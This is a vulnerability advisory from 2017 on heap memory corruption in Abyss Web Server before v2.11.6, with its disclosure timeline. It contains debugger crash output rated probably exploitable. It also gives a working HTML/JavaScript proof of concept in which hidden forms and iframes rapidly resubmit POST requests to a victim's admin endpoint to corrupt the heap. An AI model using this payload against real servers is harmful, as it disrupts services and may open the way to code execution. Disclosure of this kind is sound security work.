Abyss Web Server Memory Heap Corruption

`[+] Credits: John Page (aka HyP3rlinX)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/ABYSS-WEB-SERVER-MEMORY-HEAP-CORRUPTION.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
==========  
aprelium.com  
  
  
  
Product:  
===========  
Abyss Web Server < v2.11.6  
  
  
  
Vulnerability Type:  
===================  
Memory Heap Corruption  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Security Issue:  
================  
Possible to corrupt heap memory of the Abyss Web Server by sending specially crafted HTML in repeated HTTP POST requests.  
Users should upgrade to latest version v2.11.6.  
  
  
GetUrlPageData2 (WinHttp) failed: 12002.  
  
FAULTING_IP:   
msvcrt!memcpy+5a  
75e49b60 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 75e49b60 (msvcrt!memcpy+0x0000005a)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 003b9000  
Attempt to read from address 003b9000  
  
CONTEXT: 00000000 -- (.cxr 0x0;r)  
eax=00000000 ebx=075c33f8 ecx=000efd46 edx=00000002 esi=075c33b8 edi=0651edb0  
eip=77670c52 esp=0651ea70 ebp=0651ea80 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246  
ntdll!ZwGetContextThread+0x12:  
77670c52 83c404 add esp,4  
  
PROCESS_NAME: abyssws.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000000  
  
EXCEPTION_PARAMETER2: 003b9000  
  
READ_ADDRESS: 003b9000   
  
FOLLOWUP_IP:   
abyssws+413d9  
004413d9 59 pop ecx  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
APP: abyssws.exe  
  
ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) x86fre  
  
LAST_CONTROL_TRANSFER: from 0043f840 to 75e49b60  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_INVALID_POINTER_READ_PROBABLYEXPLOITABLE  
  
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_PROBABLYEXPLOITABLE  
  
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_PROBABLYEXPLOITABLE  
  
STACK_TEXT:   
777542a8 776cd9bc ntdll!RtlFreeHeap+0x64  
777542ac 75e498cd msvcrt!free+0xcd  
777542b0 004413d9 abyssws+0x413d9  
777542b4 004089d0 abyssws+0x89d0  
777542b8 0040a607 abyssws+0xa607  
777542bc 0040bd58 abyssws+0xbd58  
777542c0 0040cb5b abyssws+0xcb5b  
  
  
SYMBOL_STACK_INDEX: 2  
  
SYMBOL_NAME: abyssws+413d9  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: abyssws  
  
IMAGE_NAME: abyssws.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 5807a3cb  
  
STACK_COMMAND: dps 777542a8 ; kb  
  
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_PROBABLYEXPLOITABLE_c0000005_abyssws.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_abyssws+413d9  
  
ANALYSIS_SOURCE: UM  
  
FAILURE_ID_HASH_STRING: um:actionable_heap_corruption_heap_failure_block_not_busy_probablyexploitable_c0000005_abyssws.exe!unknown  
  
FAILURE_ID_HASH: {0ba3122b-4351-5a85-a0ea-294a6ce77042}  
  
Followup: MachineOwner  
---------  
  
  
///////////////////////////////////////////////  
  
  
The stored exception information can be accessed via .ecxr.  
(2740.30b8): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=075c33f8 ecx=000efd46 edx=00000002 esi=075c33b8 edi=0651edb0  
eip=77670c52 esp=0651ea70 ebp=0651ea80 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246  
ntdll!ZwGetContextThread+0x12:  
77670c52 83c404 add esp,4  
0:011> !load winext/msec  
0:011> !exploitable  
  
!exploitable 1.6.0.0  
Exploitability Classification: PROBABLY_EXPLOITABLE  
Recommended Bug Title: Probably Exploitable - Read Access Violation on Block Data Move starting at msvcrt!memcpy+0x0000000000000250 (Hash=0xb1db8cd3.0x508907b2)  
  
This is a read access violation in a block data move, and is therefore classified as probably exploitable.  
  
?  
  
References:  
============  
https://aprelium.com/news/abws2-11-6.html  
  
  
  
Exploit/POC:  
=============  
Cause Heap Corruption in Abyss Server.  
  
<!DOCTYPE>  
<html>  
<body>  
<script>  
//Abyss Web Server Memory (heap) Corruption POC  
//Discover by hyp3rlinx  
//Error code: 0xc0000374 is STATUS_HEAP_CORRUPTION  
//0xc0000374 - heap has been corrupted.  
//=======================================  
window.onerror=function(){  
return true  
}  
</script>  
  
<script>  
var target='http://VICTIM-IP:9999/hosts/host@0/edit/ipcontrol';  
  
function mk_iframe_targets(f){  
var tmp = document.createElement('IFRAME')  
tmp.style='display:none'  
tmp.name='hidden-frame'+f  
return tmp  
}  
  
function mk_inputs(id,name,val){  
var input=document.createElement('INPUT')  
input.type='hidden'  
input.id=id  
input.name=name  
input.value=val  
return input  
}  
  
function mk_forms(name,f){  
var PAYLOAD='CORRUPT'  
var tmp = document.createElement('FORM')  
tmp.method='POST'  
tmp.action=target  
tmp.target='hidden-frame'+f  
tmp.name = name  
tmp.style='display:none'  
tmp.appendChild(mk_inputs('token'+f,'$$xxvxd',PAYLOAD))  
tmp.appendChild(mk_inputs('','/hosts/host@0/edit/ipcontrol/rules/rules.badd',PAYLOAD))  
  
return tmp  
}  
  
var NUM_FORMS=50  
var form_arr = new Array  
for(var f =0; f < NUM_FORMS; f++){  
  
var ifrms = mk_iframe_targets(f)  
document.body.appendChild(ifrms)  
  
var aform=mk_forms('form'+f,f)  
form_arr.push(aform)  
  
document.body.appendChild( aform )  
  
}  
  
function engine0(){  
for(var i = 0; i< NUM_FORMS; i++){  
form_arr[i].submit()  
}  
}  
  
window.setInterval(engine0, 5)  
  
</script>  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
  
Severity:  
=========  
Medium  
  
  
  
Disclosure Timeline:  
=============================================  
Vendor Notification : September 21, 2017  
Vendor Acknowledgement : September 22, 2017  
Vendor Released New Version : November 30, 2017  
December 1, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`